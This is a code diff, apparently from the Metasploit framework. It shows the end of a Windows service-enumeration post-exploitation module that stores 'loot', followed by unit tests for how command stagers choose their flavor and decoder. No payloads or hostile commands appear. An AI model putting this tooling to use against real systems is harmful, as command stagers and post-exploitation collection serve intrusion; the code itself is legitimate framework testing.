# but for now let's at least print the error for debugging purposes
|
||||
print_error("An error occured enumerating service: #{sname}")
|
||||
print_error(e.to_s)
|
||||
end
|
||||
else
|
||||
print_error("Problem enumerating services")
|
||||
print_error("Problem enumerating services (no service name found)")
|
||||
end
|
||||
|
||||
end
|
||||
# store loot on completion of collection
|
||||
p = store_loot("windows.services", "text/plain", session, lootString, "windows_services.txt", "Windows Services")
|
||||
print_good("Loot file stored in: #{p.to_s}")
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,698 @@
|
|||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/cmdstager'
|
||||
|
||||
describe Msf::Exploit::CmdStager do
|
||||
|
||||
def create_exploit(info ={})
|
||||
mod = Msf::Exploit.allocate
|
||||
mod.extend described_class
|
||||
mod.send(:initialize, info)
|
||||
mod
|
||||
end
|
||||
|
||||
describe "#select_cmdstager" do
|
||||
|
||||
subject do
|
||||
create_exploit
|
||||
end
|
||||
|
||||
context "when no flavor" do
|
||||
|
||||
it "raises ArgumentError" do
|
||||
expect { subject.select_cmdstager }.to raise_error(ArgumentError, /Unable to select CMD Stager/)
|
||||
end
|
||||
end
|
||||
|
||||
context "when correct flavor" do
|
||||
|
||||
context "with default decoder" do
|
||||
|
||||
let(:flavor) do
|
||||
:vbs
|
||||
end
|
||||
|
||||
before do
|
||||
subject.select_cmdstager(:flavor => flavor)
|
||||
end
|
||||
|
||||
it "selects flavor" do
|
||||
expect(subject.flavor).to eq(flavor)
|
||||
end
|
||||
|
||||
it "selects default decoder" do
|
||||
expect(subject.decoder).to eq(subject.default_decoder(flavor))
|
||||
end
|
||||
end
|
||||
|
||||
context "without default decoder" do
|
||||
|
||||
let(:flavor) do
|
||||
:tftp
|
||||
end
|
||||
|
||||
before do
|
||||
subject.select_cmdstager(:flavor => flavor)
|
||||
end
|
||||
|
||||
it "selects flavor" do
|
||||
expect(subject.flavor).to eq(flavor)
|
||||
end
|
||||
|
||||
it "hasn't decoder" do
|
||||
expect(subject.decoder).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context "with incompatible target" do
|
||||
|
||||
subject do
|
||||
create_exploit({
|
||||
'DefaultTarget' => 0,
|
||||
'Targets' =>
|
||||
[
|
||||
['Linux',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'CmdStagerFlavor' => 'tftp'
|
||||
}
|
||||
]
|
||||
]
|
||||
})
|
||||
end
|
||||
|
||||
let(:flavor) do
|
||||
:vbs
|
||||
end
|
||||
|
||||
it "raises ArgumentError" do
|
||||
expect { subject.select_cmdstager(:flavor => flavor) }.to raise_error(ArgumentError, /The CMD Stager '\w+' isn't compatible with the target/)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#default_decoder" do
|
||||
|
||||
subject do
|
||||
create_exploit
|
||||
end
|
||||
|
||||
context "when valid flavor as input" do
|
||||
|
||||
context "with default decoder" do
|
||||
let(:flavor) do
|
||||
:vbs
|
||||
end
|
||||
|
||||
let(:expected_decoder) do
|
||||
described_class::DECODERS[:vbs]
|
||||
end
|
||||
|
||||
it "returns the decoder path" do
|
||||
expect(subject.default_decoder(flavor)).to eq(expected_decoder)
|
||||
end
|
||||
end
|
||||
|
||||
context "without default decoder" do
|
||||
let(:flavor) do
|
||||
:bourne
|
||||
end
|
||||
|
||||
it "returns nil" do
|
||||
expect(subject.default_decoder(flavor)).to be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context "when invalid flavor as input" do
|
||||
let(:flavor) do
|
||||
:invalid_flavor
|
||||
end
|
||||
|
||||
it "returns nil" do
|
||||
expect(subject.default_decoder(flavor)).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context "when nil flavor as input" do
|
||||
let(:flavor) do
|
||||
nil
|
||||
end
|
||||
|
||||
it "should be nil" do
|
||||
expect(subject.default_decoder(flavor)).to be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#module_flavors" do
|
||||
|
||||
context "when the module hasn't CmdStagerFlavor info" do
|
||||
|
||||
context "neither the target" do
|
||||
|
||||
subject do
|
||||
create_exploit
|
||||
end
|
||||
|
||||
it "returns empty array" do
|
||||
expect(subject.module_flavors).to eq([])
|
||||
end
|
||||
end
|
||||
|
||||
context "the target has CmdStagerFlavor info" do
|
||||
|
||||
subject do
|
||||
create_exploit({
|
||||
'DefaultTarget' => 0,
|
||||
'Targets' =>
|
||||
[
|
||||
['Windows',
|
||||
{
|
||||
'CmdStagerFlavor' => 'vbs'
|
||||
}
|
||||
]
|
||||
]
|
||||
})
|
||||
end
|
||||
|
||||
let(:expected_flavor) do
|
||||
['vbs']
|
||||
end
|
||||
|
||||
it "returns an array with the target flavor" do
|
||||
expect(subject.module_flavors).to eq(expected_flavor)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context "when the module has CmdStagerFlavor info" do
|
||||
|
||||
context "but the target hasn't CmdStagerFlavor info" do
|
||||
|
||||
subject do
|
||||
create_exploit('CmdStagerFlavor' => 'vbs')
|
||||
end
|
||||
|
||||
let(:expected_flavor) do
|
||||
['vbs']
|
||||
end
|
||||
|
||||
it "returns an array with the module flavor" do
|
||||
expect(subject.module_flavors).to eq(expected_flavor)
|
||||
end
|
||||
end
|
||||
|
||||
context "and the target has CmdStagerFlavor info" do
|
||||
|
||||
subject do
|
||||
create_exploit({
|
||||
'CmdStagerFlavor' => 'vbs',
|
||||
'DefaultTarget' => 0,
|
||||
'Targets' =>
|
||||
[
|
||||
['Windows TFTP',
|
||||
{
|
||||
'CmdStagerFlavor' => 'tftp'
|
||||
}
|
||||
]
|
||||
]
|
||||
})
|
||||
end
|
||||
|
||||
let(:expected_flavor) do
|
||||
['vbs', 'tftp']
|
||||
end
|
||||
|
||||
it "returns an array with all the flavors available to the module" do
|
||||
expect(subject.module_flavors).to eq(expected_flavor)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#target_flavor" do
|
||||
|
||||
context "when the module hasn't CmdStagerFlavor info" do
|
||||
|
||||
context "neither the target" do
|
||||
|
||||
subject do
|
||||
create_exploit
|
||||
end
|
||||
|
||||
it "returns nil" do
|
||||
expect(subject.target_flavor).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context "the target has CmdStagerFlavor info" do
|
||||
|
||||
subject do
|
||||
create_exploit({
|
||||
'DefaultTarget' => 0,
|
||||
'Targets' =>
|
||||
[
|
||||
['Windows',
|
||||
{
|
||||
'CmdStagerFlavor' => 'vbs'
|
||||
}
|
||||
]
|
||||
]
|
||||
})
|
||||
end
|
||||
|
||||
let(:expected_flavor) do
|
||||
'vbs'
|
||||
end
|
||||
|
||||
it "returns the target flavor" do
|
||||
expect(subject.target_flavor).to eq(expected_flavor)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context "when the module has CmdStagerFlavor info" do
|
||||
|
||||
context "but the target hasn't CmdStagerFlavor info" do
|
||||
|
||||
subject do
|
||||
create_exploit('CmdStagerFlavor' => 'vbs')
|
||||
end
|
||||
|
||||
let(:expected_flavor) do
|
||||
'vbs'
|
||||
end
|
||||
|
||||
it "returns the module flavor" do
|
||||
expect(subject.target_flavor).to eq(expected_flavor)
|
||||
end
|
||||
end
|
||||
|
||||
context "and the target has CmdStagerFlavor info" do
|
||||
|
||||
subject do
|
||||
create_exploit({
|
||||
'CmdStagerFlavor' => 'vbs',
|
||||
'DefaultTarget' => 0,
|
||||
'Targets' =>
|
||||
[
|
||||
['Windows TFTP',
|
||||
{
|
||||
'CmdStagerFlavor' => 'tftp'
|
||||
}
|
||||
]
|
||||
]
|
||||
})
|
||||
end
|
||||
|
||||
let(:expected_flavor) do
|
||||
'tftp'
|
||||
end
|
||||
|
||||
it "returns the target flavor" do
|
||||
expect(subject.target_flavor).to eq(expected_flavor)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#compatible_flavor?" do
|
||||
|
||||
context "when there isn't target flavor" do
|
||||
|
||||
subject do
|
||||
create_exploit
|
||||
end
|
||||
|
||||
let(:flavor) do
|
||||
:vbs
|
||||
end
|
||||
|
||||
it "is compatible" do
|
||||
expect(subject.compatible_flavor?(flavor)).to be_true
|
||||
end
|
||||
end
|
||||
|
||||
context "when the target flavor is a string" do
|
||||
|
||||
subject do
|
||||
create_exploit('CmdStagerFlavor' => 'vbs')
|
||||
end
|
||||
|
||||
context "and good flavor" do
|
||||
let(:flavor) do
|
||||
:vbs
|
||||
end
|
||||
|
||||
it "is compatible" do
|
||||
expect(subject.compatible_flavor?(flavor)).to be_true
|
||||
end
|
||||
end
|
||||
|
||||
context "and bad flavor" do
|
||||
let(:flavor) do
|
||||
:tftp
|
||||
end
|
||||
|
||||
it "isn't compatible" do
|
||||
expect(subject.compatible_flavor?(flavor)).to be_false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context "when the target flavor is a symbol" do
|
||||
|
||||
subject do
|
||||
create_exploit('CmdStagerFlavor' => :vbs)
|
||||
end
|
||||
|
||||
context "and good flavor" do
|
||||
let(:flavor) do
|
||||
:vbs
|
||||
end
|
||||
|
||||
it "is compatible" do
|
||||
expect(subject.compatible_flavor?(flavor)).to be_true
|
||||
end
|
||||
end
|
||||
|
||||
context "and bad flavor" do
|
||||
let(:flavor) do
|
||||
:tftp
|
||||
end
|
||||
|
||||
it "isn't compatible" do
|
||||
expect(subject.compatible_flavor?(flavor)).to be_false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context "when the target flavor is an Array" do
|
||||
|
||||
subject do
|
||||
create_exploit('CmdStagerFlavor' => ['vbs', :tftp])
|
||||
end
|
||||
|
||||
context "and good flavor" do
|
||||
let(:flavor) do
|
||||
:vbs
|
||||
end
|
||||
|
||||
it "is compatible" do
|
||||
expect(subject.compatible_flavor?(flavor)).to be_true
|
||||
end
|
||||
end
|
||||
|
||||
context "and bad flavor" do
|
||||
let(:flavor) do
|
||||
:echo
|
||||
end
|
||||
|
||||
it "isn't compatible" do
|
||||
expect(subject.compatible_flavor?(flavor)).to be_false
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
describe "#guess_flavor" do
|
||||
|
||||
context "when the module hasn't targets" do
|
||||
|
||||
context "neither platforms" do
|
||||
subject do
|
||||
create_exploit
|
||||
end
|
||||
|
||||
it "doesn't guess" do
|
||||
expect(subject.guess_flavor).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context "but platforms" do
|
||||
|
||||
context "one platform with default flavor" do
|
||||
let(:platform) do
|
||||
'win'
|
||||
end
|
||||
|
||||
let(:expected_flavor) do
|
||||
:vbs
|
||||
end
|
||||
|
||||
subject do
|
||||
create_exploit('Platform' => platform)
|
||||
end
|
||||
|
||||
it "guess the platform defulat flavor" do
|
||||
expect(subject.guess_flavor).to eq(expected_flavor)
|
||||
end
|
||||
end
|
||||
|
||||
context "one platform without default flavor" do
|
||||
let (:platform) do
|
||||
'java'
|
||||
end
|
||||
|
||||
subject do
|
||||
create_exploit('Platform' => platform)
|
||||
end
|
||||
|
||||
it "doesn't guess" do
|
||||
expect(subject.guess_flavor).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context "two platforms" do
|
||||
let(:platform) do
|
||||
['unix', 'linux']
|
||||
end
|
||||
|
||||
subject do
|
||||
create_exploit('Platform' => platform)
|
||||
end
|
||||
|
||||
it "doesn't guess" do
|
||||
expect(subject.guess_flavor).to be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context "when the module has one target" do
|
||||
|
||||
context "and the target has one platform" do
|
||||
|
||||
context "with default flavor"do
|
||||
let (:expected_flavor) do
|
||||
:vbs
|
||||
end
|
||||
|
||||
let (:platform) do
|
||||
'win'
|
||||
end
|
||||
|
||||
subject do
|
||||
create_exploit({
|
||||
'DefaultTarget' => 0,
|
||||
'Targets' =>
|
||||
[
|
||||
['Windows',
|
||||
{
|
||||
'Platform' => platform
|
||||
}
|
||||
]
|
||||
]
|
||||
})
|
||||
end
|
||||
|
||||
it "guess the target flavor" do
|
||||
expect(subject.guess_flavor).to eq(expected_flavor)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
context "without default flavor" do
|
||||
let (:platform) do
|
||||
'java'
|
||||
end
|
||||
|
||||
subject do
|
||||
create_exploit({
|
||||
'DefaultTarget' => 0,
|
||||
'Targets' =>
|
||||
[
|
||||
['Java',
|
||||
{
|
||||
'Platform' => platform
|
||||
}
|
||||
]
|
||||
]
|
||||
})
|
||||
end
|
||||
|
||||
it "doesn't guess" do
|
||||
expect(subject.guess_flavor).to be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context "the target has two platforms" do
|
||||
subject do
|
||||
create_exploit({
|
||||
'DefaultTarget' => 0,
|
||||
'Targets' =>
|
||||
[
|
||||
['MultiPlatform',
|
||||
{
|
||||
'Platform' => %w{ linux unix}
|
||||
}
|
||||
]
|
||||
]
|
||||
})
|
||||
end
|
||||
|
||||
it "doesn't guess" do
|
||||
expect(subject.guess_flavor).to be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#select_flavor" do
|
||||
|
||||
context "when flavor set in the datastore" do
|
||||
|
||||
subject do
|
||||
create_exploit({
|
||||
'DefaultOptions' => {
|
||||
'CMDSTAGER::FLAVOR' => 'vbs'
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
let(:datastore_flavor) do
|
||||
:vbs
|
||||
end
|
||||
|
||||
it "returns the datastore flavor" do
|
||||
expect(subject.select_flavor).to eq(datastore_flavor)
|
||||
end
|
||||
|
||||
context "and flavor set in the opts" do
|
||||
|
||||
let(:opts_flavor) do
|
||||
:bourne
|
||||
end
|
||||
|
||||
it "returns the opts flavor" do
|
||||
expect(subject.select_flavor(:flavor => :bourne)).to eq(opts_flavor)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#select_decoder" do
|
||||
|
||||
context "when decoder set in the datastore" do
|
||||
|
||||
let(:decoder) do
|
||||
File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64")
|
||||
end
|
||||
|
||||
subject do
|
||||
create_exploit({
|
||||
'DefaultOptions' => {
|
||||
'CMDSTAGER::DECODER' => decoder
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
it "returns datastore flavor" do
|
||||
expect(subject.select_decoder).to eq(decoder)
|
||||
end
|
||||
|
||||
context "and decoder set in the opts" do
|
||||
|
||||
let(:decoder_opts) do
|
||||
File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_adodb")
|
||||
end
|
||||
|
||||
it "returns the decoder_opts" do
|
||||
expect(subject.select_decoder(:decoder => decoder_opts)).to eq(decoder_opts)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#opts_with_decoder" do
|
||||
subject do
|
||||
create_exploit
|
||||
end
|
||||
|
||||
context "with :decoder option" do
|
||||
|
||||
let(:decoder) do
|
||||
File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64")
|
||||
end
|
||||
|
||||
it "returns the :decoder option" do
|
||||
expect(subject.opts_with_decoder(:decoder => decoder)).to include(:decoder)
|
||||
end
|
||||
end
|
||||
|
||||
context "without decoder option" do
|
||||
it ":hasn't decoder option" do
|
||||
expect(subject.opts_with_decoder).not_to include(:decoder)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe "#create_stager" do
|
||||
subject do
|
||||
create_exploit
|
||||
end
|
||||
|
||||
context "with correct flavor" do
|
||||
|
||||
let(:flavor) do
|
||||
:vbs
|
||||
end
|
||||
|
||||
let(:expected_class) do
|
||||
described_class::STAGERS[flavor]
|
||||
end
|
||||
|
||||
before do
|
||||
subject.flavor = flavor
|
||||
end
|
||||
|
||||
it "creates the correct instance" do
|
||||
expect(subject.create_stager.class).to eq(expected_class)
|
||||
end
|
||||
end
|
||||
|
||||
context "with incorrect flavor" do
|
||||
let(:flavor) do
|
||||
:incorrect_flavor
|
||||
end
|
||||
|
||||
let(:expected_class) do
|
||||
described_class::STAGERS[flavor]
|
||||
end
|
||||
|
||||
before do
|
||||
subject.flavor = flavor
|
||||
end
|
||||
|
||||
it "raises a NoMethodError" do
|
||||
expect { subject.create_stager }.to raise_error(NoMethodError)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue